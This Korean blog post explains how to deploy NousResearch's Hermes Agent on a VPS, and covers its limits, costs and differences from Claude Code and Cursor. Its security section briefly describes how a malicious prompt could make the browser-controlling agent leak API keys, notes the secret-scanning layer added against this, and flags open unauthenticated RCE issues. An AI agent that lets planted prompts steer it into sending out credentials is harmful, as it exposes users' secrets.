&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.digitalocean.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DigitalOcean&lt;/a&gt;, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.vultr.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Vultr&lt;/a&gt;, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.hetzner.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hetzner&lt;/a&gt; 같은 서비스에서 월 $5(약 7,000원) 정도면 가장 저렴한 서버 한 대를 빌릴 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 PC를 24시간 켜둘 필요 없이, 이 서버에 Hermes를 설치해두면 Telegram/Discord로 언제든 에이전트에게 지시할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;README도 &quot;$5 VPS, GPU 클러스터, 서버리스 인프라 어디서나 운용 가능&quot;이라고 명시하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 구성 단계 예시이다.&lt;/p&gt;
&lt;pre class=&quot;sql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 1. VPS에 Hermes 설치
ssh user@your-vps
curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash
source ~/.bashrc

# 2. 저비용 모델 설정 (OpenRouter 예시)
hermes model                  # &amp;rarr; OpenRouter 선택 후 API 키 입력
# 또는 직접 .env에 기입:
# echo &quot;OPENROUTER_API_KEY=sk-or-...&quot; &amp;gt;&amp;gt; ~/.hermes/.env

# 3. Telegram 게이트웨이 연결
hermes gateway                # &amp;rarr; Telegram 선택 후 Bot Token 입력

# 4. systemd 서비스로 상시 실행 (install.sh가 자동 설정)
sudo systemctl enable hermes-agent
sudo systemctl start hermes-agent

# 5. Telegram에서 메시지 전송 &amp;rarr; 에이전트가 서버에서 자율 실행 후 결과 반환&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub README&lt;/a&gt; + &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/getting-started/quickstart/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Quickstart 문서&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cron 스케줄러를 쓰면 매일 오전 보고서 생성, 매시간 모니터링 같은 작업을 자동으로 돌릴 수 있다. &lt;code&gt;terminal.backend&lt;/code&gt;을 &lt;code&gt;docker&lt;/code&gt;로 바꾸면 에이전트가 컨테이너 안에서만 실행되니까, VPS 본체를 건드릴 걱정이 줄어든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 C: Gemma 4 + Hermes + OpenClaw 조합&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;README&lt;/a&gt;에 Gemma 4와 Hermes, OpenClaw를 함께 사용하는 조합이 명시되어 있으며, 관련 &lt;a href=&quot;https://youtu.be/x3IG3elJvZk&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;YouTube 영상&lt;/a&gt;에서 시연된다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(영상 내 세부 내용은 직접 확인하지 않아 이 글에서 다루지 않는다).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenClaw에서 Hermes로 마이그레이션 후 Gemma 4를 로컬 또는 Nous Portal에서 모델로 선택하는 구성이 가능하다는 점은 README에서 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 D: 언제 Hermes를 선택하고, 언제 다른 도구를 선택하는가&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;권장 선택&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;장기 사용자 메모리가 필요한 개인 에이전트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Hermes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;여러 메시징 플랫폼에 동일 에이전트 연결&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Hermes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;자율 스킬 생성&amp;middot;재사용이 핵심 요구사항&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Hermes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;단순 1회성 자동화 스크립트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;오버스펙 &amp;mdash; 경량 도구 권장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Windows 네이티브 환경 필수&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Hermes 미지원 (WSL2로 우회 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기존 OpenClaw 기반 워크플로우&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;hermes claw migrate로 전환 검토&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리하면, Hermes는 반복 사용하면서 학습시키는 용도에 맞다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 번 쓰고 버릴 자동화 스크립트나 Windows 네이티브 환경이라면 다른 도구가 낫다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 제한사항 및 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Windows 네이티브 미지원&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Windows에서 install.sh를 실행하면 &quot;PowerShell 인스톨러를 쓰라&quot;는 안내와 함께 멈춘다. 공식 지원은 Linux, macOS, WSL2뿐이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WSL2에서는 잘 돈다. 다만 &lt;code&gt;/mnt/c/&lt;/code&gt; 같은 Windows 네이티브 파일시스템을 쓰면 IO가 느리니까, WSL2 내부 경로에서 작업하는 게 좋다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1958&quot; data-origin-height=&quot;1050&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDdWZ2/dJMcaiCTJTC/g61XO1OPBybx9SnjHIdst0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDdWZ2/dJMcaiCTJTC/g61XO1OPBybx9SnjHIdst0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDdWZ2/dJMcaiCTJTC/g61XO1OPBybx9SnjHIdst0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDdWZ2%2FdJMcaiCTJTC%2Fg61XO1OPBybx9SnjHIdst0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1958&quot; height=&quot;1050&quot; data-origin-width=&quot;1958&quot; data-origin-height=&quot;1050&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자가학습의 한계&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에이전트가 잘못된 방법을 &quot;학습&quot;할 수도 있다. 예를 들어 프로덕션 DB에 직접 접속하는 패턴을 스킬로 저장해버리면, 다음에도 같은 방식으로 접근한다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/tree/main/agent&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;소스코드&lt;/a&gt;에 스킬 생성 후 검증 로직이 있긴 하지만, 초기에는 &lt;code&gt;~/.hermes/skills/&lt;/code&gt;에 생성된 스킬 파일을 직접 열어서 확인하는 습관을 들이는 게 안전하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 10가지 서로 다른 작업을 한 번씩 하면 학습 효과는 거의 없다. &lt;b&gt;같은 유형의 작업을 최소 10~20회 이상 반복해야&lt;/b&gt; 눈에 띄는 개선이 생긴다. 로컬 70B 이하 모델에서는 도구 선택과 멀티스텝 계획 품질도 떨어지므로, 학습 효과를 기대하려면 Claude나 GPT급 모델을 쓰는 게 낫다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;외부 메모리 공급자 제약&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 설명한 대로, 외부 메모리 플러그인은 1개만 쓸 수 있다. Honcho를 연결했으면 다른 외부 메모리는 동시에 못 쓴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;메모리 용량 제한&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;MEMORY.md는 2,200자(약 800 토큰), USER.md는 1,375자(약 500 토큰)가 상한이다. 용량 초과 시 에러가 발생하고 자동 삭제는 되지 않는다. 공식 문서는 80% 초과 시 수동으로 정리하라고 권고한다. 장기 사용 시 메모리를 주기적으로 정돈해야 하는 부담이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;IDE 통합이 없다&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;VS Code 플러그인이 없고, Cursor처럼 인라인 자동완성도 안 된다. 터미널과 메시징 앱만 지원한다. 코드를 짜면서 옆에서 도움받고 싶은 사람에게는 맞지 않는다. MCP로 에디터를 연결할 수는 있지만, IDE에 녹아든 경험과는 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;보안: 자격증명 보호&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에이전트가 브라우저를 직접 제어하니까, 악의적인 프롬프트가 API 키 같은 자격증명을 빼가는 게 이론적으로 가능하다. v0.7.0에서 이를 막기 위해 브라우저 URL과 LLM 응답에서 시크릿 패턴을 스캔하는 레이어가 추가됐다. URL 인코딩, base64 인코딩 경로도 잡아내고, 보호 대상에 &lt;code&gt;.docker&lt;/code&gt;, &lt;code&gt;.azure&lt;/code&gt;, &lt;code&gt;.config/gh&lt;/code&gt; 디렉토리까지 추가됐다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 스캔이 모든 공격을 잡아낸다는 보장은 없으므로, Docker 백엔드로 격리하는 것이 안전하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;보안: 미인증 RCE 취약점 (주의)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026-04-09 기준, webhook을 통한 미인증 원격 코드 실행(RCE) 이슈(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/issues/6440&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#6440&lt;/a&gt;)와 API 서버를 통한 미인증 RCE 이슈(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/issues/6439&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#6439&lt;/a&gt;)가 공개 보고 상태다. 외부 네트워크에 노출된 환경에서 운영할 경우 반드시 해당 이슈의 패치 여부를 확인해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;토큰 오버헤드: 호출당 73%가 고정비&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1942&quot; data-origin-height=&quot;1036&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/beEiYk/dJMcaipog5y/Zo0GpoYC38OwP0ivv6WQZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/beEiYk/dJMcaipog5y/Zo0GpoYC38OwP0ivv6WQZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/beEiYk/dJMcaipog5y/Zo0GpoYC38OwP0ivv6WQZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbeEiYk%2FdJMcaipog5y%2FZo0GpoYC38OwP0ivv6WQZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1942&quot; height=&quot;1036&quot; data-origin-width=&quot;1942&quot; data-origin-height=&quot;1036&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;커뮤니티 분석(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/issues/4379&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #4379&lt;/a&gt;)에 따르면, 매 API 호출마다 도구 정의와 시스템 프롬프트가 고정으로 붙어서 호출당 약 73%가 고정 오버헤드다. 한 사용자가 3개 게이트웨이로 하룻저녁 돌렸더니 약 390만 토큰이 나갔다고 한다. API 키 종량제를 쓴다면 비용에 직접 영향이 있으므로, 불필요한 도구를 줄이는 progressive tool loading이 제안됐지만 아직 구현 중이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;그래서 한 달에 얼마나 나오나?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소프트웨어 자체는 무료(MIT 라이선스)다. 비용이 나가는 건 API 사용료와 서버 호스팅비다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;사용 패턴&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;월 API 비용 (추정)&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;가벼운 사용 (하루 10회 대화)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;$10~$30&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;CLI 위주&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;중간 사용 (하루 50회)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;$30~$80&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;게이트웨이 1~2개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;헤비 사용 (게이트웨이 3개 상시)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;$100~$400+&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Telegram은 CLI 대비 토큰 2~3배&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 모델 (Ollama)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;$0&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;48GB+ RAM 필요, 70B 이하 모델은 품질 저하&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 수치는 커뮤니티 보고와 토큰 오버헤드 분석(Issue #4379)을 기반으로 한 추정이다. 실제 비용은 사용하는 모델, 공급자, 작업 복잡도에 따라 달라진다. 최신 API 가격은 각 공급자 공식 페이지에서 확인해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비용 절감 팁: CLI를 기본으로 쓰고(Telegram 대비 토큰 절반), 미사용 도구 카테고리를 비활성화하면 요청당 ~3,500 토큰을 아낄 수 있다. 루틴 작업은 DeepSeek이나 Kimi 같은 저가 모델에 맡기고, 복잡한 작업에만 Claude/GPT를 쓰는 전략이 커뮤니티에서 추천된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;빠른 릴리즈 속도의 양면&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;v0.1.0(2026-02-25)부터 v0.8.0(2026-04-08)까지 5주 만에 8번의 메이저 릴리즈를 냈다. 3~5일 간격이다. 활발한 개발의 신호이지만, 문서가 코드를 따라가지 못하는 구간이 생길 수 있고, 업데이트 후 기존 설정이 깨지는 경우도 보고되고 있다. 오픈 이슈+PR은 2026-04-09 기준 2,306개다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Hermes vs Claude Code vs Cursor: 뭐가 다른가?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 많이 받는 질문이 &quot;이미 Claude Code(또는 Cursor) 쓰고 있는데, Hermes는 뭐가 달라?&quot;인 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결론부터 말하면 &lt;b&gt;카테고리 자체가 다르다&lt;/b&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code와 Cursor는 IDE 안에서 코드를 도와주는 &quot;코딩 어시스턴트&quot;이고, Hermes는 서버 위에서 알아서 돌아가는 &quot;자율 에이전트&quot;다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;비교 항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Hermes Agent&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Claude Code&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Cursor&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;카테고리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;자율 에이전트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;코딩 어시스턴트 (CLI)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;코딩 어시스턴트 (IDE)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;장기 메모리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;MEMORY.md + USER.md + SQLite FTS5&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;CLAUDE.md (프로젝트별)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;.cursorrules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;자가학습 (스킬 자동 생성)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;24/7 자율 실행&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;O (cron + 게이트웨이)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;메시징 플랫폼 연동&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Telegram, Discord, Slack 등 15+&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;IDE 통합&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;X (터미널 전용)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;VS Code, JetBrains&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;자체 IDE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;인라인 코드 자동완성&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;X&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;모델 선택&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;200+ (OpenRouter 경유)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude 시리즈만&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;여러 모델 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;가격&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;무료 + API 종량제&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;구독 $20~$200/월&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;구독 $20~$40/월&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리하면, IDE에서 코드 짜는 데 도움받고 싶다면 Claude Code나 Cursor가 맞다. Hermes는 &quot;서버에 올려두고 반복 작업을 알아서 처리하게 하는 자동화 에이전트&quot;로, 둘을 병행해서 쓰는 것도 가능하다.&lt;/p&gt;
